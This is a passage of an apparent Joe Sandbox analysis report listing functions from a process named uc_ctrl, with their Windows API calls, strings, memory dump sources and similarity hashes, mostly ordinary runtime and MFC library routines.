Instruction Fuzzy Hash: 50C19270E04259CFDF15CF6888807EDBBB5AF25308F54C19AD849ABA46DB70CD89CB94

Function 00773AB0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

EnumWindows.USER32(007767D0,0077ACA8), ref: 00773B84
GetClassNameW.USER32(00000000,?,00000200), ref: 00773BDD

Strings

simba_main, xrefs: 00773C38

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: ClassEnumNameWindows
String ID: simba_main
API String ID: 1187928955-3195281193
Opcode ID: 958a74601e520bfa153e52fd8b8556b99abb3d79bb898208999f2b8746267d3e
Instruction ID: 2ee7e427a41f7362dfc6be434adddaf9ca384595919d4ba2e6de49d63e1f639d
Opcode Fuzzy Hash: 958a74601e520bfa153e52fd8b8556b99abb3d79bb898208999f2b8746267d3e
Instruction Fuzzy Hash: BB918F70A012199FDF25DF28C998BA9B7B1BF44394F14C2E9D40DAB291DB399E80CF51

Function 00773DD0 Relevance: 5.4, APIs: 4, Instructions: 403COMMON

Download Yara Rule

APIs

wcsstr.VCRUNTIME140(?,?), ref: 00773F1C
wcsstr.VCRUNTIME140(?,0077AB0C,?,00000000,00000000), ref: 00773FD8
wcsstr.VCRUNTIME140(?,0077AB10), ref: 00774009

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: wcsstr
String ID:
API String ID: 2735924446-0
Opcode ID: 8af458002b9e2e5a779cce4465766b0efb6212ff33a5649d87199af426f8bd60
Instruction ID: 3d5707ce8fb70f21c5c7648c960eebd422dd71bb4e6f457f267a5bfbb0cfe595
Opcode Fuzzy Hash: 8af458002b9e2e5a779cce4465766b0efb6212ff33a5649d87199af426f8bd60
Instruction Fuzzy Hash: 20E1AF70A00605DFDF00DF68C898A6EB7F5FF45360F14C669E82A9B291DB789E44CB91

Function 6C93EF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C93EF77
_Wcsftime.API-MS-WIN-CRT-TIME-L1-1-0(?,00000000,?,?,?,00000010,00000000), ref: 6C93EFF7

Strings

!%x, xrefs: 6C93EF88

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_Wcsftime
String ID: !%x
API String ID: 1145147137-1893981228
Opcode ID: 3952deaef01b63a2d4783de35cd5274594f9fd48a7c43d38d16653030679ca5a
Instruction ID: e12a0ead14ba0b0548ae3f6503845b8ca591b3cbb746e483c0e884c7745a4cb4
Opcode Fuzzy Hash: 3952deaef01b63a2d4783de35cd5274594f9fd48a7c43d38d16653030679ca5a
Instruction Fuzzy Hash: D0316776D05229EBCF11CF94C880AEDBBB1BF18318F154159E858BB340D775AE09CB90

Function 6C94ABC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C94ABC7
_Strftime.API-MS-WIN-CRT-TIME-L1-1-0(00000000,00000000,?,?,?,00000010,00000000), ref: 6C94AC3F

Strings

!%x, xrefs: 6C94ABCF

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_Strftime
String ID: !%x
API String ID: 2838425630-1893981228
Opcode ID: 2b4fb5c0a4db3c77bb66bd09daf3ea5566cec8ae39be59a44d3f3f282c3fe449
Instruction ID: 166bc0890bb53f2391add258d36f919325419870dfa96785060f29c3f5b406ba
Opcode Fuzzy Hash: 2b4fb5c0a4db3c77bb66bd09daf3ea5566cec8ae39be59a44d3f3f282c3fe449
Instruction Fuzzy Hash: C0316975D05258AFCF11CF94D880BEDBBB0BF59704F144059E8956B342DB749A05CFA0

Function 6C682809 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71filetimeCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,FA5162CE,?,?,?,?,?,6C7D5D56,000000FF), ref: 6C68284D
KillTimer.USER32(00000000,?,?,?,?,?,?,6C7D5D56,000000FF), ref: 6C68286D

Strings

<_~l, xrefs: 6C68289D

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: DeleteFileKillTimer
String ID: <_~l
API String ID: 1409395338-165775491
Opcode ID: 9df5006ef3d03f6ef3f0fdc11c7657a3f03df9356e44ca50711b17a726a95822
Instruction ID: 361be49597926097d62c9a5d561e23aa72ef48a1d7d82d2bdc8351e1254abb0f
Opcode Fuzzy Hash: 9df5006ef3d03f6ef3f0fdc11c7657a3f03df9356e44ca50711b17a726a95822
Instruction Fuzzy Hash: A1217AB2401604DFDB15DF64C995BEEB7B8FF0A318F50096DD41A47B90DB316A08CB28

Function 6C6ECB13 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C6ECB1A
SetRectEmpty.USER32(?), ref: 6C6ECBC6

Strings

d, xrefs: 6C6ECC19

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: EmptyH_prolog3Rect
String ID: d
API String ID: 1443337074-2564639436
Opcode ID: 8830334502b6b1fe07233403b99d3fe93077a0c255dcb4f52d56a948a3c558ed
Instruction ID: 46eefac265f50e4ab0616cfd4672e561d324cdd6cfebb5eac652e7b10a85f259
Opcode Fuzzy Hash: 8830334502b6b1fe07233403b99d3fe93077a0c255dcb4f52d56a948a3c558ed
Instruction Fuzzy Hash: 013179B0911351CEDB80CF788585BD97AE0BB09314F1886BA8D5DDF64AEBB041488FB4

Function 6C6AA937 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C6AA93E

Part of subcall function 6C69A22E: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 6C69A243

Part of subcall function 6C6E46CA: __EH_prolog3.LIBCMT ref: 6C6E46D1

Part of subcall function 6C67A044: __EH_prolog3.LIBCMT ref: 6C67A0F2

Part of subcall function 6C6E4748: __EH_prolog3.LIBCMT ref: 6C6E474F

Strings

MFCShellListCtrl_EnableShellContextMenu, xrefs: 6C6AA98D
TRUE, xrefs: 6C6AA9AF

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$ByteCharMultiWide
String ID: MFCShellListCtrl_EnableShellContextMenu$TRUE
API String ID: 2949695960-1509083621
Opcode ID: 36787a4680930aaef5b0b80445459b71a3b8f4c80e568cb86d2cd3fed2a3c682
Instruction ID: b3513d1b1c08c8c830c0969e490c71e84dd28ebd6e51c683e09466b4096c7c4f
Opcode Fuzzy Hash: 36787a4680930aaef5b0b80445459b71a3b8f4c80e568cb86d2cd3fed2a3c682
Instruction Fuzzy Hash: AD11EC3091124A9ADB14DFA0C954EFEB774AF1630CF1048599021A7AE1EB759A09CB6D

Function 6C94DC10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C94DC17
?_Winerror_message@std@@YAKKPADK@Z.MSVCP140(?,?,00007FFF,?,?,?,00007FFF,00000000,00000020), ref: 6C94DC47

Part of subcall function 6C94DD70: __EH_prolog3_GS.LIBCMT ref: 6C94DD77

Strings

unknown error, xrefs: 6C94DC53

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_$Winerror_message@std@@
String ID: unknown error
API String ID: 1209844933-3078798498
Opcode ID: 1090ac4f15efb023c7c75d15844b76657794d2aff63721fa73ed09f0a0083923
Instruction ID: 0738d722bc4dc247dfe26b538ca72c2bb7440702d2e35afce54a54acef99aa01
Opcode Fuzzy Hash: 1090ac4f15efb023c7c75d15844b76657794d2aff63721fa73ed09f0a0083923
Instruction Fuzzy Hash: 9301B5759002199FDB10DF54C850AEEBBB8EF38318F446429E005B7B40DB75DA4CCBA0

Function 6C94A810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

_CIlog.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C94A824
_CIlog.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C94A86F

Strings

!%x, xrefs: 6C94A85C

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Ilog
String ID: !%x
API String ID: 3072751996-1893981228
Opcode ID: 989d0f6099ec581919e94add1b76dc66133f0258360ebe56103072e111dac331
Instruction ID: 14cddfbfd12c4985253764a388fe9fab85b4e3105eda5d8e8b7d4df40af4372a
Opcode Fuzzy Hash: 989d0f6099ec581919e94add1b76dc66133f0258360ebe56103072e111dac331
Instruction Fuzzy Hash: 0BF0A4A2E1490DA3CF423E50D41A58877B4EB167A1B710DD4D4C6A0BA8FF26C934D6C5

Function 6C94D424 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6C94D35D,0000003C,?,?,?), ref: 6C94D46E
_invalid_parameter_noinfo.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6C94D35D,0000003C,?,?,?), ref: 6C94D47A

Strings

$+xv, xrefs: 6C94D455

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo
String ID: $+xv
API String ID: 2959964966-1686923651
Opcode ID: ba2d5199291a62923eb99e02802a53c4f698b91db9163041a3349db630becb57
Instruction ID: 9a45bb465f8952026765e58e577476addedae6646cf7424fdb7383757409f037
Opcode Fuzzy Hash: ba2d5199291a62923eb99e02802a53c4f698b91db9163041a3349db630becb57
Instruction Fuzzy Hash: 82F0627A2052498FEB04CF54C5A466937B8EB0635AF208414E5168BBD4DB35F916CB11

Function 007779F7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00777A4A: memset.VCRUNTIME140(0000000F,00000000,00000018,00000000,?,007779FF,?,001F419D), ref: 00777A57

Part of subcall function 00777730: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000F,00000000,00777A26,?,001F419D), ref: 00777733
Part of subcall function 00777730: GetLastError.KERNEL32 ref: 0077773D

IsDebuggerPresent.KERNEL32(?,001F419D), ref: 00777A2A
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule), ref: 00777A39

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00777A34

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: CountCriticalDebugDebuggerErrorInitializeLastOutputPresentSectionSpinStringmemset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 1128651283-631824599
Opcode ID: e05bae9250340daea4db84ad195a36ecb1c69c4a0bc7d656a8b492002faa4d49
Instruction ID: d8b1ca4b32784d271d5e35913b2185c3ffd741b7cca02b6318aec41a3bc3aba8
Opcode Fuzzy Hash: e05bae9250340daea4db84ad195a36ecb1c69c4a0bc7d656a8b492002faa4d49
Instruction Fuzzy Hash: 4AE06D702043418FEB289F28D90974A7AE4AB40394F01C82CE44DC2240EBBDD685CBE2

Function 6C94DE50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C94DE58
std::_Xinvalid_argument.LIBCPMT(invalid random_device value), ref: 6C94DE6F

Strings

invalid random_device value, xrefs: 6C94DE6A

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Xinvalid_argumentrand_sstd::_
String ID: invalid random_device value
API String ID: 2823261842-3926945683
Opcode ID: 98cc1e8df14f3a69595af9535ba4828e11fe3e96fb5c84e58fe0a3b039909b78
Instruction ID: ceb4ebf5d353dce5e445ebd03a91f9d0e127c5c7a2107f9e97e763d06cbbfee8
Opcode Fuzzy Hash: 98cc1e8df14f3a69595af9535ba4828e11fe3e96fb5c84e58fe0a3b039909b78
Instruction Fuzzy Hash: D8D0127AE1420DEB8B04D6D6D804CCAB7BCDB16365B6085D5ED05C3F04EB21DA146751

Function 6C7B2844 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 6C7B2850

Part of subcall function 6C7B27B9: std::exception::exception.LIBCONCRT ref: 6C7B27C6

__CxxThrowException@8.LIBVCRUNTIME ref: 6C7B285E

Part of subcall function 6C7B6276: RaiseException.KERNEL32(?,?,?,00000001,00000000,?,00000000), ref: 6C7B62D5

Strings

Unknown exception, xrefs: 6C7B286B

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowstd::exception::exceptionstd::invalid_argument::invalid_argument
String ID: Unknown exception
API String ID: 1586462112-410509341
Opcode ID: d517c21fe4c79ae265345b9166891161c113943ccfaf3670e7d9e939d64d55b9
Instruction ID: 2f3de932635919c5de8a9c969d93330fece96ecbe08524c3b6a851972f27e7e5
Opcode Fuzzy Hash: d517c21fe4c79ae265345b9166891161c113943ccfaf3670e7d9e939d64d55b9
Instruction Fuzzy Hash: BAD0A738E0010C77CB00EEA5CB4CDC9777C5F10108F90C874AA10E6E20EF30DA098AC0

Function 6C67E867 Relevance: 5.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C8B72D0,6C8B72B4,00000000,6C8B72D0), ref: 6C67E8E1
LeaveCriticalSection.KERNEL32(6C8B72D0,?), ref: 6C67E8F4
LocalFree.KERNEL32(00000000), ref: 6C67E8FD
TlsSetValue.KERNEL32(?,00000000), ref: 6C67E918

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: CriticalSection$EnterFreeLeaveLocalValue
String ID:
API String ID: 2949335588-0
Opcode ID: 78f407ccc6a852557c6c333e3784fcb1c1190afdd6988d547f7e7f001beece70
Instruction ID: e6012b78e09f63055bc1fb1ec444415ce50f2ff24514d7a13093b8ed4b0994d3
Opcode Fuzzy Hash: 78f407ccc6a852557c6c333e3784fcb1c1190afdd6988d547f7e7f001beece70
Instruction Fuzzy Hash: 61216035F00209EFCB10DF58C884E9ABBB5FF4A315F2085A9E9159B660DB31E915CFA4

Function 6C67EC34 Relevance: 5.1, APIs: 4, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000000,00000000), ref: 6C67EC6E
LeaveCriticalSection.KERNEL32(?), ref: 6C67EC97

Part of subcall function 6C67FBBF: __CxxThrowException@8.LIBVCRUNTIME ref: 6C67FBD3

TlsSetValue.KERNEL32(?,?,?,00000000), ref: 6C67ECC7
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,6C67F0C9,6C67C806,6C67F0F2,6C67F81F,6C679FCD,00000001,00000000,?,6C7B1AA6,?,00000001), ref: 6C67ECFE

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: CriticalLeaveSection$AllocException@8LocalThrowValue
String ID:
API String ID: 4202424549-0
Opcode ID: a522e5e5ccf114233924cd774368beafc52a44179ebbb02c9756669eefd8923b
Instruction ID: e723446b38a2f2e8001fe9cd33c9137cb1ca499192113f3cd03ca15320a16157
Opcode Fuzzy Hash: a522e5e5ccf114233924cd774368beafc52a44179ebbb02c9756669eefd8923b
Instruction Fuzzy Hash: D3217F75500605EFD724DF29C984C9AFBB5FF46354310CA2DE46597A60DB30E918CFA8

Function 6C67EC0A Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000000,00000000), ref: 6C67EC6E
LeaveCriticalSection.KERNEL32(?), ref: 6C67EC97

Part of subcall function 6C67FBBF: __CxxThrowException@8.LIBVCRUNTIME ref: 6C67FBD3

TlsSetValue.KERNEL32(?,?,?,00000000), ref: 6C67ECC7
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,6C67F0C9,6C67C806,6C67F0F2,6C67F81F,6C679FCD,00000001,00000000,?,6C7B1AA6,?,00000001), ref: 6C67ECFE

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: CriticalLeaveSection$AllocException@8LocalThrowValue
String ID:
API String ID: 4202424549-0
Opcode ID: a5d72df100e8f64a6cbc7e45fcaebe44dd012295f17f12c1baa9bfc985e64a44
Instruction ID: 2c25f9155a057072b7f708d3fee1921eafa4785a1dabc45d1847fea4c563ffc7
